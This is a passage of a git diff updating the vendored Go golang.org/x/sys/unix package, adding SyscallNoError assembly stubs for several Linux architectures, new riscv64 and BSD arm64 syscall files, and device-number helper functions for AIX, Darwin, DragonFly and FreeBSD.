- // license that can be found in the LICENSE file.
-
--// +build linux
--// +build mips64 mips64le
- // +build !gccgo
-
- #include "textflag.h"
-
- //
--// System calls for mips64, Linux
-+// System call support for ARM64, FreeBSD
- //
-
- // Just jump to package syscall's implementation for all these functions.
-@@ -21,7 +19,10 @@ TEXT ·Syscall(SB),NOSPLIT,$0-56
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
--TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-+TEXT ·Syscall9(SB),NOSPLIT,$0-104
-+ JMP syscall·Syscall9(SB)
-+
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_386.s b/vendor/golang.org/x/sys/unix/asm_linux_386.s
-index 4db29093..448bebbb 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_386.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_386.s
-@@ -10,21 +10,51 @@
- // System calls for 386, Linux
- //
-
-+// See ../runtime/sys_linux_386.s for the reason why we always use int 0x80
-+// instead of the glibc-specific "CALL 0x10(GS)".
-+#define INVOKE_SYSCALL INT $0x80
-+
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-28
-+TEXT ·Syscall(SB),NOSPLIT,$0-28
- JMP syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-40
-+TEXT ·Syscall6(SB),NOSPLIT,$0-40
- JMP syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-24
-+ CALL runtime·entersyscall(SB)
-+ MOVL trap+0(FP), AX // syscall entry
-+ MOVL a1+4(FP), BX
-+ MOVL a2+8(FP), CX
-+ MOVL a3+12(FP), DX
-+ MOVL $0, SI
-+ MOVL $0, DI
-+ INVOKE_SYSCALL
-+ MOVL AX, r1+16(FP)
-+ MOVL DX, r2+20(FP)
-+ CALL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-28
- JMP syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
- JMP syscall·RawSyscall6(SB)
-
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-24
-+ MOVL trap+0(FP), AX // syscall entry
-+ MOVL a1+4(FP), BX
-+ MOVL a2+8(FP), CX
-+ MOVL a3+12(FP), DX
-+ MOVL $0, SI
-+ MOVL $0, DI
-+ INVOKE_SYSCALL
-+ MOVL AX, r1+16(FP)
-+ MOVL DX, r2+20(FP)
-+ RET
-+
- TEXT ·socketcall(SB),NOSPLIT,$0-36
- JMP syscall·socketcall(SB)
-
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_amd64.s b/vendor/golang.org/x/sys/unix/asm_linux_amd64.s
-index 44e25c62..c6468a95 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_amd64.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_amd64.s
-@@ -13,17 +13,45 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-56
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
- JMP syscall·Syscall(SB)
-
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ CALL runtime·entersyscall(SB)
-+ MOVQ a1+8(FP), DI
-+ MOVQ a2+16(FP), SI
-+ MOVQ a3+24(FP), DX
-+ MOVQ $0, R10
-+ MOVQ $0, R8
-+ MOVQ $0, R9
-+ MOVQ trap+0(FP), AX // syscall entry
-+ SYSCALL
-+ MOVQ AX, r1+32(FP)
-+ MOVQ DX, r2+40(FP)
-+ CALL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- JMP syscall·RawSyscall6(SB)
-
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVQ a1+8(FP), DI
-+ MOVQ a2+16(FP), SI
-+ MOVQ a3+24(FP), DX
-+ MOVQ $0, R10
-+ MOVQ $0, R8
-+ MOVQ $0, R9
-+ MOVQ trap+0(FP), AX // syscall entry
-+ SYSCALL
-+ MOVQ AX, r1+32(FP)
-+ MOVQ DX, r2+40(FP)
-+ RET
-+
- TEXT ·gettimeofday(SB),NOSPLIT,$0-16
- JMP syscall·gettimeofday(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_arm.s b/vendor/golang.org/x/sys/unix/asm_linux_arm.s
-index cf0b5746..cf0f3575 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_arm.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_arm.s
-@@ -13,17 +13,44 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-28
-+TEXT ·Syscall(SB),NOSPLIT,$0-28
- B syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-40
-+TEXT ·Syscall6(SB),NOSPLIT,$0-40
- B syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-24
-+ BL runtime·entersyscall(SB)
-+ MOVW trap+0(FP), R7
-+ MOVW a1+4(FP), R0
-+ MOVW a2+8(FP), R1
-+ MOVW a3+12(FP), R2
-+ MOVW $0, R3
-+ MOVW $0, R4
-+ MOVW $0, R5
-+ SWI $0
-+ MOVW R0, r1+16(FP)
-+ MOVW $0, R0
-+ MOVW R0, r2+20(FP)
-+ BL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-28
- B syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
- B syscall·RawSyscall6(SB)
-
--TEXT ·seek(SB),NOSPLIT,$0-32
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-24
-+ MOVW trap+0(FP), R7 // syscall entry
-+ MOVW a1+4(FP), R0
-+ MOVW a2+8(FP), R1
-+ MOVW a3+12(FP), R2
-+ SWI $0
-+ MOVW R0, r1+16(FP)
-+ MOVW $0, R0
-+ MOVW R0, r2+20(FP)
-+ RET
-+
-+TEXT ·seek(SB),NOSPLIT,$0-28
- B syscall·seek(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_arm64.s b/vendor/golang.org/x/sys/unix/asm_linux_arm64.s
-index 4be9bfed..afe6fdf6 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_arm64.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_arm64.s
-@@ -11,14 +11,42 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-56
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
- B syscall·Syscall(SB)
-
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- B syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ BL runtime·entersyscall(SB)
-+ MOVD a1+8(FP), R0
-+ MOVD a2+16(FP), R1
-+ MOVD a3+24(FP), R2
-+ MOVD $0, R3
-+ MOVD $0, R4
-+ MOVD $0, R5
-+ MOVD trap+0(FP), R8 // syscall entry
-+ SVC
-+ MOVD R0, r1+32(FP) // r1
-+ MOVD R1, r2+40(FP) // r2
-+ BL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- B syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- B syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVD a1+8(FP), R0
-+ MOVD a2+16(FP), R1
-+ MOVD a3+24(FP), R2
-+ MOVD $0, R3
-+ MOVD $0, R4
-+ MOVD $0, R5
-+ MOVD trap+0(FP), R8 // syscall entry
-+ SVC
-+ MOVD R0, r1+32(FP)
-+ MOVD R1, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s b/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-index 724e580c..ab9d6383 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-@@ -15,14 +15,42 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-56
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
- JMP syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-80
-+TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
--TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ JAL runtime·entersyscall(SB)
-+ MOVV a1+8(FP), R4
-+ MOVV a2+16(FP), R5
-+ MOVV a3+24(FP), R6
-+ MOVV R0, R7
-+ MOVV R0, R8
-+ MOVV R0, R9
-+ MOVV trap+0(FP), R2 // syscall entry
-+ SYSCALL
-+ MOVV R2, r1+32(FP)
-+ MOVV R3, r2+40(FP)
-+ JAL runtime·exitsyscall(SB)
-+ RET
-+
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- JMP syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVV a1+8(FP), R4
-+ MOVV a2+16(FP), R5
-+ MOVV a3+24(FP), R6
-+ MOVV R0, R7
-+ MOVV R0, R8
-+ MOVV R0, R9
-+ MOVV trap+0(FP), R2 // syscall entry
-+ SYSCALL
-+ MOVV R2, r1+32(FP)
-+ MOVV R3, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mipsx.s b/vendor/golang.org/x/sys/unix/asm_linux_mipsx.s
-index 2ea42575..99e53990 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mipsx.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_mipsx.s
-@@ -15,17 +15,40 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-28
-+TEXT ·Syscall(SB),NOSPLIT,$0-28
- JMP syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-40
-+TEXT ·Syscall6(SB),NOSPLIT,$0-40
- JMP syscall·Syscall6(SB)
-
--TEXT ·Syscall9(SB),NOSPLIT,$0-52
-+TEXT ·Syscall9(SB),NOSPLIT,$0-52
- JMP syscall·Syscall9(SB)
-
--TEXT ·RawSyscall(SB),NOSPLIT,$0-28
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-24
-+ JAL runtime·entersyscall(SB)
-+ MOVW a1+4(FP), R4
-+ MOVW a2+8(FP), R5
-+ MOVW a3+12(FP), R6
-+ MOVW R0, R7
-+ MOVW trap+0(FP), R2 // syscall entry
-+ SYSCALL
-+ MOVW R2, r1+16(FP) // r1
-+ MOVW R3, r2+20(FP) // r2
-+ JAL runtime·exitsyscall(SB)
-+ RET
-+
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-28
- JMP syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
- JMP syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-24
-+ MOVW a1+4(FP), R4
-+ MOVW a2+8(FP), R5
-+ MOVW a3+12(FP), R6
-+ MOVW trap+0(FP), R2 // syscall entry
-+ SYSCALL
-+ MOVW R2, r1+16(FP)
-+ MOVW R3, r2+20(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s b/vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s
-index 8d231feb..88f71255 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_ppc64x.s
-@@ -15,14 +15,30 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-56
-- BR syscall·Syscall(SB)
--
--TEXT ·Syscall6(SB),NOSPLIT,$0-80
-- BR syscall·Syscall6(SB)
--
--TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-- BR syscall·RawSyscall(SB)
--
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-- BR syscall·RawSyscall6(SB)
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ BL runtime·entersyscall(SB)
-+ MOVD a1+8(FP), R3
-+ MOVD a2+16(FP), R4
-+ MOVD a3+24(FP), R5
-+ MOVD R0, R6
-+ MOVD R0, R7
-+ MOVD R0, R8
-+ MOVD trap+0(FP), R9 // syscall entry
-+ SYSCALL R9
-+ MOVD R3, r1+32(FP)
-+ MOVD R4, r2+40(FP)
-+ BL runtime·exitsyscall(SB)
-+ RET
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVD a1+8(FP), R3
-+ MOVD a2+16(FP), R4
-+ MOVD a3+24(FP), R5
-+ MOVD R0, R6
-+ MOVD R0, R7
-+ MOVD R0, R8
-+ MOVD trap+0(FP), R9 // syscall entry
-+ SYSCALL R9
-+ MOVD R3, r1+32(FP)
-+ MOVD R4, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_riscv64.s b/vendor/golang.org/x/sys/unix/asm_linux_riscv64.s
-new file mode 100644
-index 00000000..3cfefed2
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_riscv64.s
-@@ -0,0 +1,47 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build riscv64,!gccgo
-+
-+#include "textflag.h"
-+
-+//
-+// System calls for linux/riscv64.
-+//
-+// Where available, just jump to package syscall's implementation of
-+// these functions.
-+
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
-+ JMP syscall·Syscall(SB)
-+
-+TEXT ·Syscall6(SB),NOSPLIT,$0-80
-+ JMP syscall·Syscall6(SB)
-+
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ CALL runtime·entersyscall(SB)
-+ MOV a1+8(FP), A0
-+ MOV a2+16(FP), A1
-+ MOV a3+24(FP), A2
-+ MOV trap+0(FP), A7 // syscall entry
-+ ECALL
-+ MOV A0, r1+32(FP) // r1
-+ MOV A1, r2+40(FP) // r2
-+ CALL runtime·exitsyscall(SB)
-+ RET
-+
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-+ JMP syscall·RawSyscall(SB)
-+
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-+ JMP syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOV a1+8(FP), A0
-+ MOV a2+16(FP), A1
-+ MOV a3+24(FP), A2
-+ MOV trap+0(FP), A7 // syscall entry
-+ ECALL
-+ MOV A0, r1+32(FP)
-+ MOV A1, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_s390x.s b/vendor/golang.org/x/sys/unix/asm_linux_s390x.s
-index 11889859..a5a863c6 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_s390x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_linux_s390x.s
-@@ -21,8 +21,36 @@ TEXT ·Syscall(SB),NOSPLIT,$0-56
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- BR syscall·Syscall6(SB)
-
-+TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
-+ BL runtime·entersyscall(SB)
-+ MOVD a1+8(FP), R2
-+ MOVD a2+16(FP), R3
-+ MOVD a3+24(FP), R4
-+ MOVD $0, R5
-+ MOVD $0, R6
-+ MOVD $0, R7
-+ MOVD trap+0(FP), R1 // syscall entry
-+ SYSCALL
-+ MOVD R2, r1+32(FP)
-+ MOVD R3, r2+40(FP)
-+ BL runtime·exitsyscall(SB)
-+ RET
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- BR syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- BR syscall·RawSyscall6(SB)
-+
-+TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
-+ MOVD a1+8(FP), R2
-+ MOVD a2+16(FP), R3
-+ MOVD a3+24(FP), R4
-+ MOVD $0, R5
-+ MOVD $0, R6
-+ MOVD $0, R7
-+ MOVD trap+0(FP), R1 // syscall entry
-+ SYSCALL
-+ MOVD R2, r1+32(FP)
-+ MOVD R3, r2+40(FP)
-+ RET
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s b/vendor/golang.org/x/sys/unix/asm_netbsd_arm64.s
-similarity index 60%
-copy from vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-copy to vendor/golang.org/x/sys/unix/asm_netbsd_arm64.s
-index 724e580c..6f98ba5a 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_netbsd_arm64.s
-@@ -1,28 +1,29 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2019 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build linux
--// +build mips64 mips64le
- // +build !gccgo
-
- #include "textflag.h"
-
- //
--// System calls for mips64, Linux
-+// System call support for ARM64, NetBSD
- //
-
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
- TEXT ·Syscall(SB),NOSPLIT,$0-56
-- JMP syscall·Syscall(SB)
-+ B syscall·Syscall(SB)
-
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
-- JMP syscall·Syscall6(SB)
-+ B syscall·Syscall6(SB)
-+
-+TEXT ·Syscall9(SB),NOSPLIT,$0-104
-+ B syscall·Syscall9(SB)
-
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
-- JMP syscall·RawSyscall(SB)
-+ B syscall·RawSyscall(SB)
-
- TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
-- JMP syscall·RawSyscall6(SB)
-+ B syscall·RawSyscall6(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s b/vendor/golang.org/x/sys/unix/asm_openbsd_arm64.s
-similarity index 76%
-copy from vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-copy to vendor/golang.org/x/sys/unix/asm_openbsd_arm64.s
-index 724e580c..0cedea3d 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_openbsd_arm64.s
-@@ -1,15 +1,13 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2019 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build linux
--// +build mips64 mips64le
- // +build !gccgo
-
- #include "textflag.h"
-
- //
--// System calls for mips64, Linux
-+// System call support for arm64, OpenBSD
- //
-
- // Just jump to package syscall's implementation for all these functions.
-@@ -21,6 +19,9 @@ TEXT ·Syscall(SB),NOSPLIT,$0-56
- TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
-+TEXT ·Syscall9(SB),NOSPLIT,$0-104
-+ JMP syscall·Syscall9(SB)
-+
- TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
-diff --git a/vendor/golang.org/x/sys/unix/bluetooth_linux.go b/vendor/golang.org/x/sys/unix/bluetooth_linux.go
-index 6e322969..a178a614 100644
---- a/vendor/golang.org/x/sys/unix/bluetooth_linux.go
-+++ b/vendor/golang.org/x/sys/unix/bluetooth_linux.go
-@@ -23,6 +23,7 @@ const (
- HCI_CHANNEL_USER = 1
- HCI_CHANNEL_MONITOR = 2
- HCI_CHANNEL_CONTROL = 3
-+ HCI_CHANNEL_LOGGING = 4
- )
-
- // Socketoption Level
-diff --git a/vendor/golang.org/x/sys/unix/cap_freebsd.go b/vendor/golang.org/x/sys/unix/cap_freebsd.go
-index 83b6bcea..df520487 100644
---- a/vendor/golang.org/x/sys/unix/cap_freebsd.go
-+++ b/vendor/golang.org/x/sys/unix/cap_freebsd.go
-@@ -7,7 +7,7 @@
- package unix
-
- import (
-- errorspkg "errors"
-+ "errors"
- "fmt"
- )
-
-@@ -60,26 +60,26 @@ func CapRightsSet(rights *CapRights, setrights []uint64) error {
-
- n := caparsize(rights)
- if n < capArSizeMin || n > capArSizeMax {
-- return errorspkg.New("bad rights size")
-+ return errors.New("bad rights size")
- }
-
- for _, right := range setrights {
- if caprver(right) != CAP_RIGHTS_VERSION_00 {
-- return errorspkg.New("bad right version")
-+ return errors.New("bad right version")
- }
- i, err := rightToIndex(right)
- if err != nil {
- return err
- }
- if i >= n {
-- return errorspkg.New("index overflow")
-+ return errors.New("index overflow")
- }
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return errorspkg.New("index mismatch")
-+ return errors.New("index mismatch")
- }
- rights.Rights[i] |= right
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return errorspkg.New("index mismatch (after assign)")
-+ return errors.New("index mismatch (after assign)")
- }
- }
-
-@@ -95,26 +95,26 @@ func CapRightsClear(rights *CapRights, clearrights []uint64) error {
-
- n := caparsize(rights)
- if n < capArSizeMin || n > capArSizeMax {
-- return errorspkg.New("bad rights size")
-+ return errors.New("bad rights size")
- }
-
- for _, right := range clearrights {
- if caprver(right) != CAP_RIGHTS_VERSION_00 {
-- return errorspkg.New("bad right version")
-+ return errors.New("bad right version")
- }
- i, err := rightToIndex(right)
- if err != nil {
- return err
- }
- if i >= n {
-- return errorspkg.New("index overflow")
-+ return errors.New("index overflow")
- }
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return errorspkg.New("index mismatch")
-+ return errors.New("index mismatch")
- }
- rights.Rights[i] &= ^(right & 0x01FFFFFFFFFFFFFF)
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return errorspkg.New("index mismatch (after assign)")
-+ return errors.New("index mismatch (after assign)")
- }
- }
-
-@@ -130,22 +130,22 @@ func CapRightsIsSet(rights *CapRights, setrights []uint64) (bool, error) {
-
- n := caparsize(rights)
- if n < capArSizeMin || n > capArSizeMax {
-- return false, errorspkg.New("bad rights size")
-+ return false, errors.New("bad rights size")
- }
-
- for _, right := range setrights {
- if caprver(right) != CAP_RIGHTS_VERSION_00 {
-- return false, errorspkg.New("bad right version")
-+ return false, errors.New("bad right version")
- }
- i, err := rightToIndex(right)
- if err != nil {
- return false, err
- }
- if i >= n {
-- return false, errorspkg.New("index overflow")
-+ return false, errors.New("index overflow")
- }
- if capidxbit(rights.Rights[i]) != capidxbit(right) {
-- return false, errorspkg.New("index mismatch")
-+ return false, errors.New("index mismatch")
- }
- if (rights.Rights[i] & right) != right {
- return false, nil
-diff --git a/vendor/golang.org/x/sys/unix/constants.go b/vendor/golang.org/x/sys/unix/constants.go
-index a96f0ebc..3a6ac648 100644
---- a/vendor/golang.org/x/sys/unix/constants.go
-+++ b/vendor/golang.org/x/sys/unix/constants.go
-@@ -2,7 +2,7 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/dev_aix_ppc.go b/vendor/golang.org/x/sys/unix/dev_aix_ppc.go
-new file mode 100644
-index 00000000..5e5fb451
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_aix_ppc.go
-@@ -0,0 +1,27 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+// +build ppc
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used by AIX.
-+
-+package unix
-+
-+// Major returns the major component of a Linux device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev >> 16) & 0xffff)
-+}
-+
-+// Minor returns the minor component of a Linux device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32(dev & 0xffff)
-+}
-+
-+// Mkdev returns a Linux device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ return uint64(((major) << 16) | (minor))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_aix_ppc64.go b/vendor/golang.org/x/sys/unix/dev_aix_ppc64.go
-new file mode 100644
-index 00000000..8b401244
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_aix_ppc64.go
-@@ -0,0 +1,29 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+// +build ppc64
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used AIX.
-+
-+package unix
-+
-+// Major returns the major component of a Linux device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev & 0x3fffffff00000000) >> 32)
-+}
-+
-+// Minor returns the minor component of a Linux device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32((dev & 0x00000000ffffffff) >> 0)
-+}
-+
-+// Mkdev returns a Linux device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ var DEVNO64 uint64
-+ DEVNO64 = 0x8000000000000000
-+ return ((uint64(major) << 32) | (uint64(minor) & 0x00000000FFFFFFFF) | DEVNO64)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_darwin.go b/vendor/golang.org/x/sys/unix/dev_darwin.go
-new file mode 100644
-index 00000000..8d1dc0fa
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_darwin.go
-@@ -0,0 +1,24 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in Darwin's sys/types.h header.
-+
-+package unix
-+
-+// Major returns the major component of a Darwin device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev >> 24) & 0xff)
-+}
-+
-+// Minor returns the minor component of a Darwin device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32(dev & 0xffffff)
-+}
-+
-+// Mkdev returns a Darwin device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ return (uint64(major) << 24) | uint64(minor)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_dragonfly.go b/vendor/golang.org/x/sys/unix/dev_dragonfly.go
-new file mode 100644
-index 00000000..8502f202
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_dragonfly.go
-@@ -0,0 +1,30 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in Dragonfly's sys/types.h header.
-+//
-+// The information below is extracted and adapted from sys/types.h:
-+//
-+// Minor gives a cookie instead of an index since in order to avoid changing the
-+// meanings of bits 0-15 or wasting time and space shifting bits 16-31 for
-+// devices that don't use them.
-+
-+package unix
-+
-+// Major returns the major component of a DragonFlyBSD device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev >> 8) & 0xff)
-+}
-+
-+// Minor returns the minor component of a DragonFlyBSD device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32(dev & 0xffff00ff)
-+}
-+
-+// Mkdev returns a DragonFlyBSD device number generated from the given major and
-+// minor components.
-+func Mkdev(major, minor uint32) uint64 {
-+ return (uint64(major) << 8) | uint64(minor)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_freebsd.go b/vendor/golang.org/x/sys/unix/dev_freebsd.go
-new file mode 100644
-index 00000000..eba3b4bd
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_freebsd.go
-@@ -0,0 +1,30 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in FreeBSD's sys/types.h header.
-+//
-+// The information below is extracted and adapted from sys/types.h:
-+//
-+// Minor gives a cookie instead of an index since in order to avoid changing the
-+// meanings of bits 0-15 or wasting time and space shifting bits 16-31 for
-+// devices that don't use them.
-+
-+package unix
-+
-+// Major returns the major component of a FreeBSD device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev >> 8) & 0xff)
-+}
-+
-+// Minor returns the minor component of a FreeBSD device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32(dev & 0xffff00ff)
-+}
-+
-+// Mkdev returns a FreeBSD device number generated from the given major and
-+// minor components.
-+func Mkdev(major, minor uint32) uint64 {
